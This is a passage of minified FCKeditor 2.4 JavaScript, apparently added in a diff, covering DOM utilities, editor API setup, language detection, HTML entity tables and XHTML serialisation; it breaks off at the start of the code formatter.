A.ToolbarComboPreviewCSS=[B];};FCKConfig.ToolbarSets={};FCKConfig.Plugins={};FCKConfig.Plugins.Items=[];FCKConfig.Plugins.Add=function(A,B,C){FCKConfig.Plugins.Items.AddItem([A,B,C]);};FCKConfig.ProtectedSource={};FCKConfig.ProtectedSource.RegexEntries=[/<!--[\s\S]*?-->/g,/<script[\s\S]*?<\/script>/gi,/<noscript[\s\S]*?<\/noscript>/gi];FCKConfig.ProtectedSource.Add=function(A){this.RegexEntries.AddItem(A);};FCKConfig.ProtectedSource.Protect=function(A){function _Replace(protectedSource){var B=FCKTempBin.AddElement(protectedSource);return '<!--{PS..'+B+'}-->';};for (var i=0;i<this.RegexEntries.length;i++){A=A.replace(this.RegexEntries[i],_Replace);};return A;};FCKConfig.ProtectedSource.Revert=function(A,B){function _Replace(m,opener,index){var C=B?FCKTempBin.RemoveElement(index):FCKTempBin.Elements[index];return FCKConfig.ProtectedSource.Revert(C,B);};return A.replace(/(<|&lt;)!--\{PS..(\d+)\}--(>|&gt;)/g,_Replace);}
+var FCKDebug={};FCKDebug._GetWindow=function(){if (!this.DebugWindow||this.DebugWindow.closed) this.DebugWindow=window.open(FCKConfig.BasePath+'fckdebug.html','FCKeditorDebug','menubar=no,scrollbars=yes,resizable=yes,location=no,toolbar=no,width=600,height=500',true);return this.DebugWindow;};FCKDebug.Output=function(A,B,C){if (!FCKConfig.Debug) return;try{this._GetWindow().Output(A,B);}catch (e) {}};FCKDebug.OutputObject=function(A,B){if (!FCKConfig.Debug) return;try{this._GetWindow().OutputObject(A,B);}catch (e) {}}
+var FCKDomTools={MoveChildren:function(A,B){if (A==B) return;var C;while ((C=A.firstChild)) B.appendChild(A.removeChild(C));},TrimNode:function(A,B){this.LTrimNode(A);this.RTrimNode(A,B);},LTrimNode:function(A){var B;while ((B=A.firstChild)){if (B.nodeType==3){var C=B.nodeValue.LTrim();var D=B.nodeValue.length;if (C.length==0){A.removeChild(B);continue;}else if (C.length<D){B.splitText(D-C.length);A.removeChild(A.firstChild);}};break;}},RTrimNode:function(A,B){var C;while ((C=A.lastChild)){switch (C.nodeType){case 1:if (C.nodeName.toUpperCase()=='BR'&&(B||C.getAttribute('type',2)=='_moz')){A.removeChild(C);continue;};break;case 3:var D=C.nodeValue.RTrim();var E=C.nodeValue.length;if (D.length==0){A.removeChild(C);continue;}else if (D.length<E){C.splitText(D.length);A.removeChild(A.lastChild);}};break;}},RemoveNode:function(A,B){if (B){var C;while ((C=A.firstChild)) A.parentNode.insertBefore(A.removeChild(C),A);};return A.parentNode.removeChild(A);},GetFirstChild:function(A,B){if (typeof (B)=='string') B=[B];var C=A.firstChild;while(C){if (C.nodeType==1&&C.tagName.Equals.apply(C.tagName,B)) return C;C=C.nextSibling;};return null;},GetLastChild:function(A,B){if (typeof (B)=='string') B=[B];var C=A.lastChild;while(C){if (C.nodeType==1&&(!B||C.tagName.Equals(B))) return C;C=C.previousSibling;};return null;},GetPreviousSourceElement:function(A,B,C,D){if (!A) return null;if (C&&A.nodeType==1&&A.nodeName.IEquals(C)) return null;if (A.previousSibling) A=A.previousSibling;else return this.GetPreviousSourceElement(A.parentNode,B,C,D);while (A){if (A.nodeType==1){if (C&&A.nodeName.IEquals(C)) break;if (!D||!A.nodeName.IEquals(D)) return A;}else if (B&&A.nodeType==3&&A.nodeValue.RTrim().length>0) break;if (A.lastChild) A=A.lastChild;else return this.GetPreviousSourceElement(A,B,C,D);};return null;},GetNextSourceElement:function(A,B,C,D){if (!A) return null;if (A.nextSibling) A=A.nextSibling;else return this.GetNextSourceElement(A.parentNode,B,C,D);while (A){if (A.nodeType==1){if (C&&A.nodeName.IEquals(C)) break;if (!D||!A.nodeName.IEquals(D)) return A;}else if (B&&A.nodeType==3&&A.nodeValue.RTrim().length>0) break;if (A.firstChild) A=A.firstChild;else return this.GetNextSourceElement(A,B,C,D);};return null;},InsertAfterNode:function(A,B){return A.parentNode.insertBefore(B,A.nextSibling);},GetParents:function(A){var B=[];while (A){B.splice(0,0,A);A=A.parentNode;};return B;},GetIndexOf:function(A){var B=A.parentNode?A.parentNode.firstChild:null;var C=-1;while (B){C++;if (B==A) return C;B=B.nextSibling;};return-1;}};
+var GECKO_BOGUS='<br type="_moz">';var FCKTools={};FCKTools.CreateBogusBR=function(A){var B=A.createElement('br');B.setAttribute('type','_moz');return B;};FCKTools.AppendStyleSheet=function(A,B){if (typeof(B)=='string') return this._AppendStyleSheet(A,B);else{var C=[];for (var i=0;i<B.length;i++) C.push(this._AppendStyleSheet(A,B[i]));return C;}};FCKTools.GetElementDocument=function (A){return A.ownerDocument||A.document;};FCKTools.GetElementWindow=function(A){return this.GetDocumentWindow(this.GetElementDocument(A));};FCKTools.GetDocumentWindow=function(A){if (FCKBrowserInfo.IsSafari&&!A.parentWindow) this.FixDocumentParentWindow(window.top);return A.parentWindow||A.defaultView;};FCKTools.FixDocumentParentWindow=function(A){A.document.parentWindow=A;for (var i=0;i<A.frames.length;i++) FCKTools.FixDocumentParentWindow(A.frames[i]);};FCKTools.HTMLEncode=function(A){if (!A) return '';A=A.replace(/&/g,'&amp;');A=A.replace(/</g,'&lt;');A=A.replace(/>/g,'&gt;');return A;};FCKTools.AddSelectOption=function(A,B,C){var D=FCKTools.GetElementDocument(A).createElement("OPTION");D.text=B;D.value=C;A.options.add(D);return D;};FCKTools.RunFunction=function(A,B,C,D){if (A) this.SetTimeout(A,0,B,C,D);};FCKTools.SetTimeout=function(A,B,C,D,E){return (E||window).setTimeout(function(){if (D) A.apply(C,[].concat(D));else A.apply(C);},B);};FCKTools.SetInterval=function(A,B,C,D,E){return (E||window).setInterval(function(){A.apply(C,D||[]);},B);};FCKTools.ConvertStyleSizeToHtml=function(A){return A.EndsWith('%')?A:parseInt(A,10);};FCKTools.ConvertHtmlSizeToStyle=function(A){return A.EndsWith('%')?A:(A+'px');};FCKTools.GetElementAscensor=function(A,B){var e=A;var C=","+B.toUpperCase()+",";while (e){if (C.indexOf(","+e.nodeName.toUpperCase()+",")!=-1) return e;e=e.parentNode;};return null;};FCKTools.CreateEventListener=function(A,B){var f=function(){var C=[];for (var i=0;i<arguments.length;i++) C.push(arguments[i]);A.apply(this,C.concat(B));};return f;};FCKTools.IsStrictMode=function(A){return ('CSS1Compat'==(A.compatMode||'CSS1Compat'));};FCKTools.ArgumentsToArray=function(A,B,C){B=B||0;C=C||A.length;var D=[];for (var i=B;i<B+C&&i<A.length;i++) D.push(A[i]);return D;};FCKTools.CloneObject=function(A){var B=function() {};B.prototype=A;return new B;};
+FCKTools.CancelEvent=function(e){if (e) e.preventDefault();};FCKTools.DisableSelection=function(A){if (FCKBrowserInfo.IsGecko) A.style.MozUserSelect='none';else A.style.userSelect='none';};FCKTools._AppendStyleSheet=function(A,B){var e=A.createElement('LINK');e.rel='stylesheet';e.type='text/css';e.href=B;A.getElementsByTagName("HEAD")[0].appendChild(e);return e;};FCKTools.ClearElementAttributes=function(A){for (var i=0;i<A.attributes.length;i++){A.removeAttribute(A.attributes[i].name,0);}};FCKTools.GetAllChildrenIds=function(A){var B=[];var C=function(parent){for (var i=0;i<parent.childNodes.length;i++){var D=parent.childNodes[i].id;if (D&&D.length>0) B[B.length]=D;C(parent.childNodes[i]);}};C(A);return B;};FCKTools.RemoveOuterTags=function(e){var A=e.ownerDocument.createDocumentFragment();for (var i=0;i<e.childNodes.length;i++) A.appendChild(e.childNodes[i].cloneNode(true));e.parentNode.replaceChild(A,e);};FCKTools.CreateXmlObject=function(A){switch (A){case 'XmlHttp':return new XMLHttpRequest();case 'DOMDocument':return document.implementation.createDocument('','',null);};return null;};FCKTools.GetScrollPosition=function(A){return { X:A.pageXOffset,Y:A.pageYOffset };};FCKTools.AddEventListener=function(A,B,C){A.addEventListener(B,C,false);};FCKTools.RemoveEventListener=function(A,B,C){A.removeEventListener(B,C,false);};FCKTools.AddEventListenerEx=function(A,B,C,D){A.addEventListener(B,function(e){C.apply(A,[e].concat(D||[]));},false);};FCKTools.GetViewPaneSize=function(A){return { Width:A.innerWidth,Height:A.innerHeight };};FCKTools.SaveStyles=function(A){var B={};if (A.className.length>0){B.Class=A.className;A.className='';};var C=A.getAttribute('style');if (C&&C.length>0){B.Inline=C;A.setAttribute('style','',0);};return B;};FCKTools.RestoreStyles=function(A,B){A.className=B.Class||'';if (B.Inline) A.setAttribute('style',B.Inline,0);else A.removeAttribute('style',0);};FCKTools.RegisterDollarFunction=function(A){A.$=function(id){return this.document.getElementById(id);};};FCKTools.AppendElement=function(A,B){return A.appendChild(A.ownerDocument.createElement(B));};FCKTools.GetElementPosition=function(A,B){var c={ X:0,Y:0 };var C=B||window;var D=FCKTools.GetElementWindow(A);while (A){var E=D.getComputedStyle(A,'').position;if (E&&E!='static'&&A.style.zIndex!=FCKConfig.FloatingPanelsZIndex) break;c.X+=A.offsetLeft-A.scrollLeft;c.Y+=A.offsetTop-A.scrollTop;if (A.offsetParent) A=A.offsetParent;else{if (D!=C){A=D.frameElement;if (A) D=FCKTools.GetElementWindow(A);}else{c.X+=A.scrollLeft;c.Y+=A.scrollTop;break;}}};return c;}
+var FCKeditorAPI;function InitializeAPI(){var A=window.parent;if (!(FCKeditorAPI=A.FCKeditorAPI)){var B='var FCKeditorAPI = {Version : "2.4",VersionBuild : "1148",__Instances : new Object(),GetInstance : function( name ){return this.__Instances[ name ];},_FormSubmit : function(){for ( var name in FCKeditorAPI.__Instances ){var oEditor = FCKeditorAPI.__Instances[ name ] ;if ( oEditor.GetParentForm() == this )oEditor.UpdateLinkedField() ;}this._FCKOriginalSubmit() ;},_FunctionQueue   : {Functions : new Array(),IsRunning : false,Add : function( f ){this.Functions.push( f );if ( !this.IsRunning )this.StartNext();},StartNext : function(){var aQueue = this.Functions ;if ( aQueue.length > 0 ){this.IsRunning = true;aQueue[0].call();}else this.IsRunning = false;},Remove : function( f ){var aQueue = this.Functions;var i = 0, fFunc;while( (fFunc = aQueue[ i ]) ){if ( fFunc == f )aQueue.splice( i,1 );i++ ;}this.StartNext();}}}';if (A.execScript) A.execScript(B,'JavaScript');else{if (FCKBrowserInfo.IsGecko10){eval.call(A,B);}else if (FCKBrowserInfo.IsSafari){var C=A.document;var D=C.createElement('script');D.appendChild(C.createTextNode(B));C.documentElement.appendChild(D);}else A.eval(B);};FCKeditorAPI=A.FCKeditorAPI;};FCKeditorAPI.__Instances[FCK.Name]=FCK;};function _AttachFormSubmitToAPI(){var A=FCK.GetParentForm();if (A){FCKTools.AddEventListener(A,'submit',FCK.UpdateLinkedField);if (!A._FCKOriginalSubmit&&(typeof(A.submit)=='function'||(!A.submit.tagName&&!A.submit.length))){A._FCKOriginalSubmit=A.submit;A.submit=FCKeditorAPI._FormSubmit;}}};function FCKeditorAPI_Cleanup(){delete FCKeditorAPI.__Instances[FCK.Name];};FCKTools.AddEventListener(window,'unload',FCKeditorAPI_Cleanup);
+var FCKImagePreloader=function(){this._Images=[];};FCKImagePreloader.prototype={AddImages:function(A){if (typeof(A)=='string') A=A.split(';');this._Images=this._Images.concat(A);},Start:function(){var A=this._Images;this._PreloadCount=A.length;for (var i=0;i<A.length;i++){var B=document.createElement('img');B.onload=B.onerror=_FCKImagePreloader_OnImage;B._FCKImagePreloader=this;B.src=A[i];_FCKImagePreloader_ImageCache.push(B);}}};var _FCKImagePreloader_ImageCache=[];function _FCKImagePreloader_OnImage(){var A=this._FCKImagePreloader;if ((--A._PreloadCount)==0&&A.OnComplete) A.OnComplete();this._FCKImagePreloader=null;}
+var FCKRegexLib={AposEntity:/&apos;/gi,ObjectElements:/^(?:IMG|TABLE|TR|TD|TH|INPUT|SELECT|TEXTAREA|HR|OBJECT|A|UL|OL|LI)$/i,NamedCommands:/^(?:Cut|Copy|Paste|Print|SelectAll|RemoveFormat|Unlink|Undo|Redo|Bold|Italic|Underline|StrikeThrough|Subscript|Superscript|JustifyLeft|JustifyCenter|JustifyRight|JustifyFull|Outdent|Indent|InsertOrderedList|InsertUnorderedList|InsertHorizontalRule)$/i,BodyContents:/([\s\S]*\<body[^\>]*\>)([\s\S]*)(\<\/body\>[\s\S]*)/i,ToReplace:/___fcktoreplace:([\w]+)/ig,MetaHttpEquiv:/http-equiv\s*=\s*["']?([^"' ]+)/i,HasBaseTag:/<base /i,HtmlOpener:/<html\s?[^>]*>/i,HeadOpener:/<head\s?[^>]*>/i,HeadCloser:/<\/head\s*>/i,FCK_Class:/(\s*FCK__[A-Za-z]*\s*)/,ElementName:/(^[a-z_:][\w.\-:]*\w$)|(^[a-z_]$)/,ForceSimpleAmpersand:/___FCKAmp___/g,SpaceNoClose:/\/>/g,EmptyParagraph:/^<(p|div)>\s*<\/\1>$/i,TagBody:/></,StrongOpener:/<STRONG([ \>])/gi,StrongCloser:/<\/STRONG>/gi,EmOpener:/<EM([ \>])/gi,EmCloser:/<\/EM>/gi,GeckoEntitiesMarker:/#\?-\:/g,ProtectUrlsImg:/(?:(<img(?=\s).*?\ssrc=)("|')(.*?)\2)|(?:(<img\s.*?src=)([^"'][^ >]+))/gi,ProtectUrlsA:/(?:(<a(?=\s).*?\shref=)("|')(.*?)\2)|(?:(<a\s.*?href=)([^"'][^ >]+))/gi,Html4DocType:/HTML 4\.0 Transitional/i,DocTypeTag:/<!DOCTYPE[^>]*>/i,TagsWithEvent:/<[^\>]+ on\w+[\s\r\n]*=[\s\r\n]*?('|")[\s\S]+?\>/g,EventAttributes:/\s(on\w+)[\s\r\n]*=[\s\r\n]*?('|")([\s\S]*?)\2/g,ProtectedEvents:/\s\w+_fckprotectedatt="([^"]+)"/g,StyleProperties:/\S+\s*:/g};var FCKListsLib={BlockElements:{ address:1,blockquote:1,div:1,dl:1,fieldset:1,form:1,h1:1,h2:1,h3:1,h4:1,h5:1,h6:1,hr:1,noscript:1,ol:1,p:1,pre:1,script:1,table:1,ul:1 },NonEmptyBlockElements:{ p:1,div:1,h1:1,h2:1,h3:1,h4:1,h5:1,h6:1,address:1,pre:1,ol:1,ul:1,li:1,td:1,th:1 },PathBlockElements:{ address:1,blockquote:1,div:1,dl:1,h1:1,h2:1,h3:1,h4:1,h5:1,h6:1,p:1,pre:1,ol:1,ul:1,li:1,dt:1,de:1 },InlineChildReqElements:{ abbr:1,acronym:1,b:1,bdo:1,big:1,cite:1,code:1,del:1,dfn:1,em:1,i:1,ins:1,label:1,kbd:1,q:1,samp:1,small:1,span:1,strong:1,sub:1,sup:1,tt:1,'var':1 },EmptyElements:{ base:1,meta:1,link:1,hr:1,br:1,param:1,img:1,area:1,input:1 }};
+var FCKLanguageManager=FCK.Language={AvailableLanguages:{af:'Afrikaans',ar:'Arabic',bg:'Bulgarian',bn:'Bengali/Bangla',bs:'Bosnian',ca:'Catalan',cs:'Czech',da:'Danish',de:'German',el:'Greek',en:'English','en-au':'English (Australia)','en-ca':'English (Canadian)','en-uk':'English (United Kingdom)',eo:'Esperanto',es:'Spanish',et:'Estonian',eu:'Basque',fa:'Persian',fi:'Finnish',fo:'Faroese',fr:'French',gl:'Galician',he:'Hebrew',hi:'Hindi',hr:'Croatian',hu:'Hungarian',it:'Italian',ja:'Japanese',km:'Khmer',ko:'Korean',lt:'Lithuanian',lv:'Latvian',mn:'Mongolian',ms:'Malay',nb:'Norwegian Bokmal',nl:'Dutch',no:'Norwegian',pl:'Polish',pt:'Portuguese (Portugal)','pt-br':'Portuguese (Brazil)',ro:'Romanian',ru:'Russian',sk:'Slovak',sl:'Slovenian',sr:'Serbian (Cyrillic)','sr-latn':'Serbian (Latin)',sv:'Swedish',th:'Thai',tr:'Turkish',uk:'Ukrainian',vi:'Vietnamese',zh:'Chinese Traditional','zh-cn':'Chinese Simplified'},GetActiveLanguage:function(){if (FCKConfig.AutoDetectLanguage){var A;if (navigator.userLanguage) A=navigator.userLanguage.toLowerCase();else if (navigator.language) A=navigator.language.toLowerCase();else{return FCKConfig.DefaultLanguage;};if (A.length>=5){A=A.substr(0,5);if (this.AvailableLanguages[A]) return A;};if (A.length>=2){A=A.substr(0,2);if (this.AvailableLanguages[A]) return A;}};return this.DefaultLanguage;},TranslateElements:function(A,B,C,D){var e=A.getElementsByTagName(B);var E,s;for (var i=0;i<e.length;i++){if ((E=e[i].getAttribute('fckLang'))){if ((s=FCKLang[E])){if (D) s=FCKTools.HTMLEncode(s);eval('e[i].'+C+' = s');}}}},TranslatePage:function(A){this.TranslateElements(A,'INPUT','value');this.TranslateElements(A,'SPAN','innerHTML');this.TranslateElements(A,'LABEL','innerHTML');this.TranslateElements(A,'OPTION','innerHTML',true);},Initialize:function(){if (this.AvailableLanguages[FCKConfig.DefaultLanguage]) this.DefaultLanguage=FCKConfig.DefaultLanguage;else this.DefaultLanguage='en';this.ActiveLanguage={};this.ActiveLanguage.Code=this.GetActiveLanguage();this.ActiveLanguage.Name=this.AvailableLanguages[this.ActiveLanguage.Code];}};
+var FCKXHtmlEntities={};FCKXHtmlEntities.Initialize=function(){if (FCKXHtmlEntities.Entities) return;var A='';var B,e;if (FCKConfig.ProcessHTMLEntities){FCKXHtmlEntities.Entities={' ':'nbsp','¡':'iexcl','¢':'cent','£':'pound','¤':'curren','¥':'yen','¦':'brvbar','§':'sect','¨':'uml','©':'copy','ª':'ordf','«':'laquo','¬':'not','­':'shy','®':'reg','¯':'macr','°':'deg','±':'plusmn','²':'sup2','³':'sup3','´':'acute','µ':'micro','¶':'para','·':'middot','¸':'cedil','¹':'sup1','º':'ordm','»':'raquo','¼':'frac14','½':'frac12','¾':'frac34','¿':'iquest','×':'times','÷':'divide','ƒ':'fnof','•':'bull','…':'hellip','′':'prime','″':'Prime','‾':'oline','⁄':'frasl','℘':'weierp','ℑ':'image','ℜ':'real','™':'trade','ℵ':'alefsym','←':'larr','↑':'uarr','→':'rarr','↓':'darr','↔':'harr','↵':'crarr','⇐':'lArr','⇑':'uArr','⇒':'rArr','⇓':'dArr','⇔':'hArr','∀':'forall','∂':'part','∃':'exist','∅':'empty','∇':'nabla','∈':'isin','∉':'notin','∋':'ni','∏':'prod','∑':'sum','−':'minus','∗':'lowast','√':'radic','∝':'prop','∞':'infin','∠':'ang','∧':'and','∨':'or','∩':'cap','∪':'cup','∫':'int','∴':'there4','∼':'sim','≅':'cong','≈':'asymp','≠':'ne','≡':'equiv','≤':'le','≥':'ge','⊂':'sub','⊃':'sup','⊄':'nsub','⊆':'sube','⊇':'supe','⊕':'oplus','⊗':'otimes','⊥':'perp','⋅':'sdot','◊':'loz','♠':'spades','♣':'clubs','♥':'hearts','♦':'diams','"':'quot','ˆ':'circ','˜':'tilde',' ':'ensp',' ':'emsp',' ':'thinsp','‌':'zwnj','‍':'zwj','‎':'lrm','‏':'rlm','–':'ndash','—':'mdash','‘':'lsquo','’':'rsquo','‚':'sbquo','“':'ldquo','”':'rdquo','„':'bdquo','†':'dagger','‡':'Dagger','‰':'permil','‹':'lsaquo','›':'rsaquo','€':'euro'};for (e in FCKXHtmlEntities.Entities) A+=e;if (FCKConfig.IncludeLatinEntities){B={'À':'Agrave','Á':'Aacute','Â':'Acirc','Ã':'Atilde','Ä':'Auml','Å':'Aring','Æ':'AElig','Ç':'Ccedil','È':'Egrave','É':'Eacute','Ê':'Ecirc','Ë':'Euml','Ì':'Igrave','Í':'Iacute','Î':'Icirc','Ï':'Iuml','Ð':'ETH','Ñ':'Ntilde','Ò':'Ograve','Ó':'Oacute','Ô':'Ocirc','Õ':'Otilde','Ö':'Ouml','Ø':'Oslash','Ù':'Ugrave','Ú':'Uacute','Û':'Ucirc','Ü':'Uuml','Ý':'Yacute','Þ':'THORN','ß':'szlig','à':'agrave','á':'aacute','â':'acirc','ã':'atilde','ä':'auml','å':'aring','æ':'aelig','ç':'ccedil','è':'egrave','é':'eacute','ê':'ecirc','ë':'euml','ì':'igrave','í':'iacute','î':'icirc','ï':'iuml','ð':'eth','ñ':'ntilde','ò':'ograve','ó':'oacute','ô':'ocirc','õ':'otilde','ö':'ouml','ø':'oslash','ù':'ugrave','ú':'uacute','û':'ucirc','ü':'uuml','ý':'yacute','þ':'thorn','ÿ':'yuml','Œ':'OElig','œ':'oelig','Š':'Scaron','š':'scaron','Ÿ':'Yuml'};for (e in B){FCKXHtmlEntities.Entities[e]=B[e];A+=e;};B=null;};if (FCKConfig.IncludeGreekEntities){B={'Α':'Alpha','Β':'Beta','Γ':'Gamma','Δ':'Delta','Ε':'Epsilon','Ζ':'Zeta','Η':'Eta','Θ':'Theta','Ι':'Iota','Κ':'Kappa','Λ':'Lambda','Μ':'Mu','Ν':'Nu','Ξ':'Xi','Ο':'Omicron','Π':'Pi','Ρ':'Rho','Σ':'Sigma','Τ':'Tau','Υ':'Upsilon','Φ':'Phi','Χ':'Chi','Ψ':'Psi','Ω':'Omega','α':'alpha','β':'beta','γ':'gamma','δ':'delta','ε':'epsilon','ζ':'zeta','η':'eta','θ':'theta','ι':'iota','κ':'kappa','λ':'lambda','μ':'mu','ν':'nu','ξ':'xi','ο':'omicron','π':'pi','ρ':'rho','ς':'sigmaf','σ':'sigma','τ':'tau','υ':'upsilon','φ':'phi','χ':'chi','ψ':'psi','ω':'omega'};for (e in B){FCKXHtmlEntities.Entities[e]=B[e];A+=e;};B=null;}}else{FCKXHtmlEntities.Entities={};A=' ';};var C='['+A+']';if (FCKConfig.ProcessNumericEntities) C='[^ -~]|'+C;var D=FCKConfig.AdditionalNumericEntities;if (D&&D.length>0) C+='|'+FCKConfig.AdditionalNumericEntities;FCKXHtmlEntities.EntitiesRegex=new RegExp(C,'g');}
+var FCKXHtml={};FCKXHtml.CurrentJobNum=0;FCKXHtml.GetXHTML=function(A,B,C){FCKXHtmlEntities.Initialize();var D=FCK.IsDirty();this._CreateNode=FCKConfig.ForceStrongEm?FCKXHtml_CreateNode_StrongEm:FCKXHtml_CreateNode_Normal;FCKXHtml.SpecialBlocks=[];this.XML=FCKTools.CreateXmlObject('DOMDocument');this.MainNode=this.XML.appendChild(this.XML.createElement('xhtml'));FCKXHtml.CurrentJobNum++;if (B) this._AppendNode(this.MainNode,A);else this._AppendChildNodes(this.MainNode,A,false);var E=this._GetMainXmlString();this.XML=null;E=E.substr(7,E.length-15).Trim();if (FCKBrowserInfo.IsGecko) E=E.replace(/<br\/>$/,'');E=E.replace(FCKRegexLib.SpaceNoClose,' />');if (FCKConfig.ForceSimpleAmpersand) E=E.replace(FCKRegexLib.ForceSimpleAmpersand,'&');if (C) E=FCKCodeFormatter.Format(E);for (var i=0;i<FCKXHtml.SpecialBlocks.length;i++){var F=new RegExp('___FCKsi___'+i);E=E.replace(F,FCKXHtml.SpecialBlocks[i]);};E=E.replace(FCKRegexLib.GeckoEntitiesMarker,'&');if (!D) FCK.ResetIsDirty();return E;};FCKXHtml._AppendAttribute=function(A,B,C){try{if (C==undefined||C==null) C='';else if (C.replace){if (FCKConfig.ForceSimpleAmpersand) C=C.replace(/&/g,'___FCKAmp___');C=C.replace(FCKXHtmlEntities.EntitiesRegex,FCKXHtml_GetEntity);};var D=this.XML.createAttribute(B);D.value=C;A.attributes.setNamedItem(D);}catch (e){}};FCKXHtml._AppendChildNodes=function(A,B,C){if (C) FCKDomTools.TrimNode(B);var D=0;var E=B.firstChild;while (E){if (this._AppendNode(A,E)) D++;E=E.nextSibling;};if (D==0){if (C&&FCKConfig.FillEmptyBlocks){this._AppendEntity(A,'nbsp');return A;};var F=A.nodeName;if (FCKListsLib.InlineChildReqElements[F]) return null;if (!FCKListsLib.EmptyElements[F]) A.appendChild(this.XML.createTextNode(''));};return A;};FCKXHtml._AppendNode=function(A,B){if (!B) return false;switch (B.nodeType){case 1:if (B.getAttribute('_fckfakelement')) return FCKXHtml._AppendNode(A,FCK.GetRealElement(B));if (FCKBrowserInfo.IsGecko&&B.hasAttribute('_moz_editor_bogus_node')) return false;if (B.getAttribute('_fcktemp')) return false;var C=B.tagName.toLowerCase();if (FCKBrowserInfo.IsIE){if (B.scopeName&&B.scopeName!='HTML'&&B.scopeName!='FCK') C=B.scopeName.toLowerCase()+':'+C;}else{if (C.StartsWith('fck:')) C=C.Remove(0,4);};if (!FCKRegexLib.ElementName.test(C)) return false;if (C=='br'&&(B.getAttribute('type',2)=='_moz'||!B.nextSibling)) return false;if (B._fckxhtmljob&&B._fckxhtmljob==FCKXHtml.CurrentJobNum) return false;var D=this._CreateNode(C);FCKXHtml._AppendAttributes(A,B,D,C);B._fckxhtmljob=FCKXHtml.CurrentJobNum;var E=FCKXHtml.TagProcessors[C];if (E) D=E(D,B,A);else D=this._AppendChildNodes(D,B,Boolean(FCKListsLib.NonEmptyBlockElements[C]));if (!D) break;A.appendChild(D);break;case 3:return this._AppendTextNode(A,B.nodeValue.ReplaceNewLineChars(' '));case 8:if (FCKBrowserInfo.IsIE&&!B.innerHTML) break;try { A.appendChild(this.XML.createComment(B.nodeValue));}catch (e) {/*Do nothing... probably this is a wrong format comment.*/};break;default:A.appendChild(this.XML.createComment("Element not supported - Type: "+B.nodeType+" Name: "+B.nodeName));break;};return true;};function FCKXHtml_CreateNode_StrongEm(A){switch (A){case 'b':A='strong';break;case 'i':A='em';break;};return this.XML.createElement(A);};function FCKXHtml_CreateNode_Normal(A){return this.XML.createElement(A);};FCKXHtml._AppendSpecialItem=function(A){return '___FCKsi___'+FCKXHtml.SpecialBlocks.AddItem(A);};FCKXHtml._AppendEntity=function(A,B){A.appendChild(this.XML.createTextNode('#?-:'+B+';'));};FCKXHtml._AppendTextNode=function(A,B){var C=B.length>0;if (C) A.appendChild(this.XML.createTextNode(B.replace(FCKXHtmlEntities.EntitiesRegex,FCKXHtml_GetEntity)));return C;};function FCKXHtml_GetEntity(A){var B=FCKXHtmlEntities.Entities[A]||('#'+A.charCodeAt(0));return '#?-:'+B+';';};FCKXHtml._RemoveAttribute=function(A,B,C){var D=A.attributes.getNamedItem(C);if (D&&B.test(D.nodeValue)){var E=D.nodeValue.replace(B,'');if (E.length==0) A.attributes.removeNamedItem(C);else D.nodeValue=E;}};FCKXHtml.TagProcessors={img:function(A,B){if (!A.attributes.getNamedItem('alt')) FCKXHtml._AppendAttribute(A,'alt','');var C=B.getAttribute('_fcksavedurl');if (C!=null) FCKXHtml._AppendAttribute(A,'src',C);return A;},a:function(A,B){if (B.innerHTML.Trim().length==0&&!B.name) return false;var C=B.getAttribute('_fcksavedurl');if (C!=null) FCKXHtml._AppendAttribute(A,'href',C);if (FCKBrowserInfo.IsIE){FCKXHtml._RemoveAttribute(A,FCKRegexLib.FCK_Class,'class');if (B.name) FCKXHtml._AppendAttribute(A,'name',B.name);};FCKXHtml._AppendChildNodes(A,B,false);return A;},script:function(A,B){if (!A.attributes.getNamedItem('type')) FCKXHtml._AppendAttribute(A,'type','text/javascript');A.appendChild(FCKXHtml.XML.createTextNode(FCKXHtml._AppendSpecialItem(B.text)));return A;},style:function(A,B){if (!A.attributes.getNamedItem('type')) FCKXHtml._AppendAttribute(A,'type','text/css');A.appendChild(FCKXHtml.XML.createTextNode(FCKXHtml._AppendSpecialItem(B.innerHTML)));return A;},title:function(A,B){A.appendChild(FCKXHtml.XML.createTextNode(FCK.EditorDocument.title));return A;},table:function(A,B){if (FCKBrowserInfo.IsIE) FCKXHtml._RemoveAttribute(A,FCKRegexLib.FCK_Class,'class');FCKXHtml._AppendChildNodes(A,B,false);return A;},ol:function(A,B,C){if (B.innerHTML.Trim().length==0) return false;var D=C.lastChild;if (D&&D.nodeType==3) D=D.previousSibling;if (D&&D.nodeName.toUpperCase()=='LI'){B._fckxhtmljob=null;FCKXHtml._AppendNode(D,B);return false;};FCKXHtml._AppendChildNodes(A,B);return A;},span:function(A,B){if (B.innerHTML.length==0) return false;FCKXHtml._AppendChildNodes(A,B,false);return A;}};FCKXHtml.TagProcessors.ul=FCKXHtml.TagProcessors.ol;
+FCKXHtml._GetMainXmlString=function(){var A=new XMLSerializer();return A.serializeToString(this.MainNode);};FCKXHtml._AppendAttributes=function(A,B,C){var D=B.attributes;for (var n=0;n<D.length;n++){var E=D[n];if (E.specified){var F=E.nodeName.toLowerCase();var G;if (F.StartsWith('_fck')) continue;else if (F.indexOf('_moz')==0) continue;else if (F=='class') G=E.nodeValue;else if (E.nodeValue===true) G=F;else G=B.getAttribute(F,2);this._AppendAttribute(C,F,G);}}}
+var FCKCodeFormatter={};FCKCodeFormatter.Init=function(){var A=this.Regex={};A.BlocksOpener=/\<(P|DIV|H1|H2|H3|H4|H5|H6|ADDRESS|PRE|OL|UL|LI|TITLE|META|LINK|BASE|SCRIPT|LINK|TD|TH|AREA|OPTION)[^\>]*\>/gi;A.BlocksCloser=/\<\/(P|DIV|H1|H2|H3|H4|H5|H6|ADDRESS|PRE|OL|UL|LI|TITLE|META|LINK|BASE|SCRIPT|LINK|TD|TH|AREA|OPTION)[^\>]*\>/gi;A.NewLineTags=/\<(BR|HR)[^\>]*\>/gi;A.MainTags=/\<\/?(HTML|HEAD|BODY|FORM|TABLE|TBODY|THEAD|TR)[^\>]*\>/gi;A.LineSplitter=/\s*\n+\s*/g;A.IncreaseIndent=/^\<(HTML|HEAD|BODY|FORM|TABLE|TBODY|THEAD|TR|UL|OL)[ \/\>]/i;A.DecreaseIndent=/^\<\/(HTML|HEAD|BODY|FORM|TABLE|TBODY|THEAD|TR|UL|OL)[ \>]/i;A.FormatIndentatorRemove=new RegExp('^'+FCKConfig.FormatIndentator);A.ProtectedTags=/(<PRE[^>]*>)([\s\S]*?)(<\/PRE>)/gi;};FCKCodeFormatter._ProtectData=function(A,B,C,D){return B+'___FCKpd___'+FCKCodeFormatter.ProtectedData.AddItem(C)+D;};FCKCodeFormatter.Format=function(A){if (!this.Regex) this.Init();FCKCodeFormatter.ProtectedData=[];var 